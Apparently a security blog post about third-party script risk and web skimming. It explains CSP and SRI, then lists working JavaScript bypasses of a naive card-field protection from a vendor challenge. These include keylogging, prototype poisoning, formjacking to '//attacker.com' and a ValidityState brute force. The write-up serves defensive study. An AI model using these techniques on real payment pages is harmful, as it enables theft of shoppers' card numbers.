All your input are belong to me – 3rd party web security

Hello readers!

Today we are going to discuss another (not just adtech) madness: 3rd parties and their security. To make a long story short, modern web apps contain a lot of code (“tags”) from 3rd parties: analytics, ads, payments, widgets of all sorts (polls, comments) and many more. Generally, this is a good thing: those 3rd parties let the web app owner to focus on their core business and offload the implementation and maintenance costs of the desired functionality to a specialized 3rd party.

But this convenience comes at a (not only a financial) cost: 3rd parties are taxing the web with additional latency (but don’t worry, some good people are working on that!), and introduce 3rd party risk. In the context of web security, it means that if, for example, someone hacks your 3rd party’s CDN, he could replace the original code with malicious code, that will execute in your users’ browsers. Generally speaking, this is a special case of supply chain attack, that follows the rule of least friction: as web application became more robust over time, attackers now target the weakest link the chain: the 3rd party suppliers.

Once the 3rd party was breached, the malicious code could do many things, one of them is web skimming. From Wikipedia:

Web skimming is a form of internet or carding fraud whereby a payment page on a website is compromised when malware is injected onto the page via compromising a third-party script service in order to steal payment information.

One of the famous web skimming cases is the Magecart attack, which originally took advantage vulnerable Magento plugins in order to inject web skimming code into affected e-commerce websites.

Supply chain attacks though 3rd parties on web apps are a growing threat to businesses and users, so naturally, solutions arise, and those solutions can be divided into browser security features and commercial solutions.

On the browser features side, we have Content Security Policy (CSP) and Subresource Integrity (SRI). The former lets web app owners specify a whitelist of hosts and or a secret (“nonce”) that third parties must comes from or know the secret in order to execute, and the latter lets web app owners to specify a hash of a known good state of the 3rd party, and if its content produces a different hash, it won’t execute.

These features are good, but not perfect. In (very) short, authoring and enforcing a truly secure CSP is difficult and likely to break existing, desired 1st party and 3d party functionality, and SRI requires the web app owner to review the 3rd party code (how do you decide what’s a “known good state”?) and essentially “pins” it to a particular build, which means any update to the 3rd party code introduces new overhead of review & hash update, which is unrealistic in many scenarios. As a result of the said downsides, adoption of both is currently lacking and / or insecure.

On the commercial side, there’s literally tens of different companies (why? that’s another post) that offer protection solutions for 3rd party security, ranging from complete enterprise solutions to plain simple SaaS offerings. Technically, the can be divided into two approaches: website scanning and real time monitoring.

Scanning solutions are essentially automated browsers that crawl the monitored web app, which allows complete visibility and classification of each third party and its behaviors, without any integration friction (just submit your web app URL). The downsides are time difference between attack launch time to detection time, and manual incident response (no real time blocking). They are also subject to evasions by malicious code, similarly to what I described in “How bot detection technology is abused by malvertisers“.

The real time monitoring solutions are essentially scripts that implement some kind of DOM APIs access control in order to protect from other malicious 3rd party scripts, which allows real time detection and blocking without manual incident response. However, they require more integration efforts and introduce additional network and runtime latency: since they have to execute before the malicious 3rd party, and it means it should be placed above any other 3rd party as a synchronous script.

Another challenge with real time solutions is that browsers have huge API surface, which means there are many different ways to achieve a given goal, and it makes monitoring everything (coverage) hard. Let’s demonstrate this point.

First, let’s see how such access control mechanism might work; Assuming a naive implementation of protection from web skimming attack, the protection code that tries to prevent a malicious 3rd party from accessing the credit card input field in a payment form might look like:

let desciptor = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value');
let _get = desciptor.get;
Object.defineProperty(HTMLInputElement.prototype, 'value', {
    get: function () {
        let value = _get.call(this);
        if (/^4580+/.test(value)) {
            return 'NOPE!';
        } else {
            return value;
        }
    }
});

This code defines a getter function on the <input> element’s prototype value property, and if the value matches a credit card number (Visa for sake of demonstration), it return ‘NOPE!’ instead of the real value.

The code above is actually pretty similar to a challenge I got from one of the companies operating within this space, and the goal was to find as many bypasses as possible. It was deployed inside a mock ecommerce store with a payment form, which looked similar to the following JSFiddle (which wordpress won’t let me embed in anyway. I should move to substack).

Go ahead, type in a CC like number, and then pop up the console and try to type: creditcard.value, and you’ll get a solid “NOPE!”.

So, here’s all the methods I came up with to get the value anyway:

  • Change the input type and access an unprotected property:
creditcard.type = 'number';
creditcard.valueAsNumber;
  • Keylogging, can use oninput and onchange events as well:
creditcard.onkeypress = (e) => console.log(e.key);
  • Fail the regex test with prototype poisoning:
RegExp.prototype.test = () => 0; 
let orig_getter;
let _call = Function.prototype.call;
Function.prototype.call = function() {
    orig_getter = this; // steal ref
    return 'asd';
};
creditcard.value; // invoke getter
_call.bind(orig_getter)(creditcard);
  • Access the native getter from another realm. This one is similar to one of the methods described in “JavaScript tampering – detection and stealth” (And as I wrote there: “Solving this… requires us to execute the tampering in any newly created iframe, which is cumbersome and non-trivial to implement”):
let f = document.createElement('iframe');
let _get;
document.body.appendChild(f);
_get = Object.getOwnPropertyDescriptor(f.contentWindow.HTMLInputElement.prototype, 'value').get;
_get.call(creditcard);
  • Access by Selection API:
creditcard.select();
window.getSelection().toString();
  • Access by FromData API:
let fd = new FormData(creditcard.form);
fd.get('creditcard');
  • Break the regex test by inserting a prefix:
creditcard.focus();
creditcard.selectionStart = 0; 
creditcard.selectionEnd = 0;
document.execCommand('insertText', true, 'asd');
credit.value; // asd4580111111111111
  • Formjacking. Send the request to attacker controlled server:
creditcard.form.action = '//attacker.com';
  • Formajcking without from.action. This method sets the from method to GET which appends the input names / values as URL parameters, and and target property to send the request to a same origin iframe, that we could access its URL parameters, which contains the CC value.
let ifr = document.createElement('iframe');
ifr.name = 'ftarget';
ifr.style.display = 'none';
document.body.appendChild(ifr);
let f = creditcard.form;
f.target = 'ftarget';
f.method = 'get';
f.submit();
ifr.onload = e => {
    let sp = new URLSearchParams(ifr.contentWindow.location.href);
    console.log(sp.get('creditcard'));
};
  • Replace the input with identically looking non-input element, which we can access its value:
let p = creditcard.parentNode;
let d = document.createElement('div');
d.contentEditable = 'true';
d.className = creditcard.className;
p.removeChild(creditcard);
p.appendChild(d);
d.innerText; // after user entered CC
  • And my favorite: abuse client side validation to brute force the CC number digit by digit, using input pattern regex, taking advantage of ValidityState API. Similar to CSS exfiltration but applies to inputs without inline value attribute
let secret = '';
 function incrementRange (pattern, i) {
     return pattern.replace(/-[0-9]/, '-' + i);
 }
 function lastRangeToToken (pattern, i) {
     return pattern.replace(/[[0-9]-[0-9]]+/, i);
 }
 function addRange (pattern) {
     return pattern.replace(/[[0-9]-[0-9]]/, match => '[0-0]+' + match);
 }
 function bruteforce (pattern) {
     creditcard.pattern = pattern;
     for (var i = 0; i < 10; i++) {
      creditcard.pattern = incrementRange(pattern, i);
         if (creditcard.validity.valid) {
             secret += i;
             return bruteforce(addRange(lastRangeToToken(creditcard.pattern, i)));
         }
     }
 }

bruteforce('[0-0]+[0-9]*');
console.log(secret);

And that’s it! Go ahead and execute any of the methods above inside the JSFiddle and see for yourself.

The next step after stealing the CC number is to exfiltrate it over the network, which opens bunch of JS cat-and-mouse shenanigans, but that’s enough for today 🙂 Hope you enjoyed, and let me know if you have any more creative methods to solve the challenge above!

One thought on “All your input are belong to me – 3rd party web security

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s